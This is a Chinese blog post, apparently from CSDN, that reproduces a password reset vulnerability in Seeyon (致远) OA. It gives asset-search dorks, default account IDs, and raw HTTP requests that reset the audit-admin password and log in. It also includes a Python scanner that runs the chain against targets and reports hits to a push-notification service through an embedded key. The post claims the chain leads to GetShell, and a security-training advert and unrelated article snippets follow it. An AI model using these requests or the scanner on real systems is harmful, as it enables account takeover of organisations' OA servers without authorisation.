致远OA ucpcLogin密码重置(可组合拳GetShell)_致远oa ucpclogin密码重置(可组合拳getshell)-程序员宅基地

技术标签: 网络安全  企业OA系统漏洞复现  

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

致远OA存在前台密码重置漏洞,可以重置系统中默认账户,使用重置后的密码通过接口获取cookie后可getshell,此组合拳可以实现致远的前台RCE。

二、信息收集

hunter:app.name="致远 OA"fofa:app="致远A8"

收集资产

在这里插入图片描述
在这里插入图片描述

三、漏洞复现

重置审计管理员密码

seeyon-guest -696400025239268-----忽略
system -72730320132347481---忽略
audit-admin -440160666363------忽略
group-admin 5725175934914479521

第一步,我们需要发送一个PUT请求包,来验证漏洞的存在性

PUT /seeyon/rest/orgMember/-4401606663639775639/password/share.do HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL=

在这里插入图片描述

如果回200OK,和截图的样子,就说明成功了一半

接着,我们继续发POST请求,来验证

POST /seeyon/rest/authentication/ucpcLogin?login_username=audit-admin&login_password=share.do&ticket= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded

在这里插入图片描述

这个时候你已经登录OK了,

获取当前用户信息,确认cookie有效性

POST /seeyon/rest/m3/login/getCurrentUser HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Cookie: JSESSIONID=66413CAC627CF5AE8DE839AB47E82B4D;
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json;charset=UTF-8

{"":""}

在这里插入图片描述

出现这个表示成功

使用重置后的密码登录

audit-admin/share.do

在这里插入图片描述

四、重要python代码

#致远OA ucpcLogin存在密码重置漏洞
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import Timeout
import os
import urllib.parse
import urllib.request
import re

def sc_send(text, desp='', key='[SENDKEY]'):
    postdata = urllib.parse.urlencode({'text': text, 'desp': desp}).encode('utf-8')
    urlserver = f'https://sctapi.ftqq.com/{key}.send'
    req = urllib.request.Request(urlserver, data=postdata, method='POST')
    with urllib.request.urlopen(req) as response:
        result = response.read().decode('utf-8')
    return result
key = "SCT202695TeKe1ATgRMke7f7jyrOOkH9GX"

def scan_Zhiyuan_OA_pwd_reset_vul(url, proxies, headers, append_to_output):

    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    }

    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url

    headers_put = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0',
        'Accept': '*/*',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate, br',
        'Connection': 'close',
        'Cookie': 'JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL='
    }

    headers_post = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0',
        'Accept': '*/*',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate, br',
        'Connection': 'close',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    # 定义请求体数据
    data_post = {
        'login_username': 'audit-admin',
        'login_password': 'share.do',
        'ticket': ''
    }

    data = '''{"":""}'''
    append_to_output("===================================================================", "green")
    append_to_output(f"扫描目标: {url}", "yellow")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        # 发送PUT请求
        put_response = requests.put(f"{url}/seeyon/rest/orgMember/-4401606663639775639/password/share.do",headers=headers_put,verify=False, timeout=5, proxies=proxies)

        # 发送POST请求
        post_response = requests.post(f"{url}/seeyon/rest/authentication/ucpcLogin", headers=headers_post,data=data_post,verify=False, timeout=5, proxies=proxies)

        post_response_cookie = requests.post(f"{url}/seeyon/rest/m3/login/getCurrentUser", headers=headers_post,data=data, verify=False, timeout=5, proxies=proxies)
        # 检查PUT请求响应

        if put_response.status_code == 200:
            append_to_output(f"[+] {url} PUT请求成功并且响应包含!!!!", "yellow")
            if post_response.status_code == 200 and 'ok' in post_response.text and 'audit-admin' in post_response.text:
                append_to_output(f"[+] {url} 存在致远OA ucpcLogin存在密码重置漏洞,需要拿COOKIE!!!!", "yellow")
                if post_response_cookie.status_code == 200 and 'audit-admin' in post_response.text:
                    append_to_output(f"[+] {url} 存在致远OA ucpcLogin存在密码重置漏洞!!!!", "red")
                    ret = sc_send('致远OA ucpcLogin存在密码重置漏洞', f"漏洞连接: {url}\r\n漏洞类型: 文件上传", key)
                else:
                    append_to_output(f"[-] {url} 不存在致远OA ucpcLogin存在密码重置漏洞", "green")
            else:
                append_to_output(f"[-] {url} 不存在致远OA ucpcLogin存在密码重置漏洞", "green")
        else:
            append_to_output(f"[-] {url} 不存在PUT请求成功并且响应包含", "green")
    except Timeout:
        append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
    except Exception as e:
        if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
            append_to_output(f"[-] {url} 证书校验错误或者证书被拒绝", "yellow")
        else:
            append_to_output(str(e), "yellow")

红岸基地网安

我们拥有什么样的硬核实力?

一、传统安全【卷王】

①基础安全

在这里插入图片描述
在这里插入图片描述

基础安全培训,市面上你看到的任何技术,我们这里都会细化讲解,让你夯实基本功

②企业安全

在这里插入图片描述

附加企业安全建设,让你更加理解企业化需求,附加企业化陪跑项目

③境外打击实战

④年HW招聘与人员安排

二、汽车网络安全

①各大汽车真实漏洞复现

②2024年新增小米SU7漏洞实战

如有需要或者领取大纲和护网资料请加

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/holyxp/article/details/137202976

智能推荐

【Android游戏开发之五】游戏注册界面Demo-实现两个Activity之间的切换与数据交互!...-程序员宅基地

文章浏览阅读44次。Himi 原创, 转载请注明! 谢谢。原文地址:http://blog.csdn.net/xiaominghimi/archive/2010/12/23/6094182.aspx 今天讲下在Surfaceview中如何实现两个或者多个Activity之间的切换与数据交互,为了更形象一些我做了一个游戏登录界面的demo,其中对于输入界面的布局这些我也是随意写了下,主要是..._一.编写一个登录demo,里面存在两个activity,一个登录界面一个主界面。 两个界面如

汉字乱码解决方法_中文动态链接库被英文动态链接库覆盖所造成的-程序员宅基地

文章浏览阅读1w次,点赞2次,收藏9次。汉字乱码解决方法 www.xyhhxx.com 发布者: seo 时间: 2005-09-12 我们在使用电脑时,经常会遇到乱码:例如登上港台网站时会看到乱码,打开E-mail时也会看到乱码,更为严重的是原先显示正常的Win9X/Win2K桌面、菜单中汉字一夜之间“面目全非”,本来显示正常的各种应用程序(包括游戏)中汉字也成了乱码!乱码给我们带来了太多的烦恼,告别乱码是我们共同的愿望! 一、汉字乱_中文动态链接库被英文动态链接库覆盖所造成的

PDF Drive-程序员宅基地

文章浏览阅读1.5w次。PDF Drive是一个免费的搜索引擎,允许您搜索,预览和下载数百万个PDF文件到您的设备。我们的抓取工具不断扫描万维网,将PDF文件添加到我们的数据库中。如果PDF文件从网络中撤回,则它们也会立即从PDF Drive搜索结果中撤消 。通过这种方式,我们的PDF Drive库保持最新,同时不断发展并为您提供庞大的搜索数据库。除了传统的搜索引擎,PDF Drive还具有以下额外功能:预览所有文件..._pdf drive

Android11编译第五弹:开启VPN权限_安卓虚拟网络权限-程序员宅基地

文章浏览阅读1.9k次。虚拟专用网(VPN)是一条通信隧道,可以在不可信的中间网络上提供身份认证和数据通信的点对点传输。大多数VPN使用加密技术来保护封装的通信数据,但是加密对于VPN 连接而言并非必需的。简单来说,设备不论连接什么类型的网络,只要和VPN服务器提供的网络,那么这些设备就在VPN网络中,相当于在同一个虚拟局域网内。因此就可以使用adb访问智能货柜设备。因为需要支持VPN访问,因此AOSP需要定制支持VPN权限。_安卓虚拟网络权限

【VS配置】如何设置调试命令行参数_vs 调试 命令行参数-程序员宅基地

文章浏览阅读5k次。右键项目->属性->配置属性->调试,如下图命令:即是应用程序的绝对路径命令行参数自行设定以下设置是我调试 Nvidia编码设置的参数_vs 调试 命令行参数

数字后端基本认识-程序员宅基地

文章浏览阅读2.3w次,点赞50次,收藏402次。1、数字后端的目的传统上将布局布线前的工作称之为数字前端(Front End)设计,而将布局布线之后的工作称为数字后端(Back End)设计。布局的目的在于产生制作掩膜所需的GDSII文件。同时也产生布局后的网表文件(Netlist)及标准延迟文件(SDF)。2、数字芯片后端工程师要做什么主要工作就是接收数字前端提交的代码,最终交付一个完整的芯片布局布线结果。工作职责(1)从事SoC物理实现(P&R)工作,包括版图设计(floorplan)与后端验证(LVS/DRC)等(2._数字后端

随便推点

layui框架中switch 开关监听+ajax 数据更新案例_layui-form-switch 触发ajax事件-程序员宅基地

文章浏览阅读1.3w次。layui.use('form', function(){ var form = layui.form ,layer =layui.layer; //监听短信开关 form.on('switch(alert_sms)', function(data){ var index_sms; var alert_value =this.checked ? '1'_layui-form-switch 触发ajax事件

Numpy:repeat用法详解 Python_python np.repeat-程序员宅基地

文章浏览阅读811次。NumPy的函数是一个非常有用的函数,可以用来重复数组中的元素。本文详细介绍了函数的用法,包括扁平化重复操作和按轴重复操作。我们还提供了相应的源代码示例,希望能帮助读者更好地理解和使用函数。_python np.repeat

Mac for postman interceptor安装_mac postman interceptor-程序员宅基地

文章浏览阅读1k次。1、先安装chrome浏览器下载一个chrome,进行正常安装即可,本人chrome版本为92,下载插件一定要最新版本1.1以上;2、再安装postman从官网下载了一个新最的进行正常安装(本人的太老了,取了最新版本postman)3、在chrome中添加插件interceptor下载地址:https://www.crx4chrome.com/crx/560/下载文件名为aicmkgpgakddgnaphhhpliifpcfhicfo-1.1.2-Crx4Chrome.c.._mac postman interceptor

分布式锁,使用redis还是zookeeper?--中篇_zoomkeeper 与redis-程序员宅基地

文章浏览阅读263次。前言上篇已经详细提及到redis实现的redLock算法下的分布式锁,在项目里出现的问题以及提出的解决的方案,现在就针对这个分布式锁的话题,这节就针对zk的锁来详细说明,项目里使用的zk实现分布式锁还是很方便的,使用起来比redis要高效,安全。而且ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件..._zoomkeeper 与redis

linux0.01源代码分析笔记_linux0.01源码分析-程序员宅基地

文章浏览阅读7.6k次,点赞6次,收藏45次。linux0.01(原始版)源代码分析笔记 1. 整体结构:第一个文件夹boot ,包含boot.s 和head.s 。boot.s 实现计算机加电自检引导扇区,第一次加载扇区和第二次加载操作系统的功能,head.s 主要包括初始设置的代码、时钟中断int 0x08的过程代码、系统调用中断int 0x80的过程代码以及任务A 和任务B 等的代码和数据。 (其中.S为扩展名的文件为汇编文件..._linux0.01源码分析

CAS-KG——知识推理_部分完整性假设-程序员宅基地

文章浏览阅读1.4k次,点赞2次,收藏19次。说明:CAS是国科大的简称,KG是知识图谱的缩写,这个栏目之下是我整理的国科大学习到的知识图谱的相关笔记。课程目标了解以知识图谱为代表的大数据知识工程的基本问题和方法掌握基于知识图谱的语义计算关键技术具备建立小型知识图谱并据此进行数据分析应用的能力教学安排详情请见博客:CAS-KG——课程安排文章目录..._部分完整性假设